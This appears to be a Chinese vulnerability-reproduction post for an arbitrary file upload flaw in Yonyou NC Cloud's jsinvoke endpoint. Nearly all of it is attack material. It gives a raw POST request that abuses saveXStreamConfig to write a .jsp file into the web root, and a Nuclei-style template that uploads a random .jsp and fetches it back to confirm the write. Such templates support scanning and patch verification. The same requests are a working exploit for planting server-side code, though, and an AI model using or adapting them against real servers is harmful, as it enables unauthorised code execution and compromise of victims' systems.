「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

POST /uapjs/jsinvoke/?action=invoke HTTP/1.1Host: Content-Type: application/x-www-form-urlencoded;charset=UTF-8{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["123456","webapps/nc_web/2YIOmzdcUDhwMYTLk65p3cgxvxy.jsp"]}

id: yonyou-nc-cloud-jsinvoke-uploadinfo:  name: 用友 NC Cloud jsinvoke 任意文件上传  author: rain  severity: critical  description: 用友 NC Cloud 中存在 jsinvoke 组件的任意文件上传漏洞，攻击者可以通过利用此漏洞向系统上传任意恶意文件。漏洞的根本问题在于未正确验证用户提交的文件，导致恶意攻击者可以绕过限制，向服务器上传包含恶意代码的文件。  metadata:    max-request: 2  tags: yonyou,rcevariables:  file_name: "{{to_lower(rand_text_alpha(8))}}"  file_content: "{{to_lower(rand_text_alpha(8))}}"http:  - raw:      - |        POST /uapjs/jsinvoke/?action=invoke HTTP/1.1        Host: {{Hostname}}        Content-Type: application/x-www-form-urlencoded;charset=UTF-8        {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig",        "parameterTypes":["java.lang.Object","java.lang.String"],        "parameters":["{{file_content}}","webapps/nc_web/{{file_name}}.jsp"]}      - |        GET /{{file_name}}.jsp HTTP/1.1        Host: {{Hostname}}    matchers-condition: and      - type: dsl        dsl:          - status_code_1 == 200          - status_code_2 == 200 && contains(body_2,"{{file_content}}")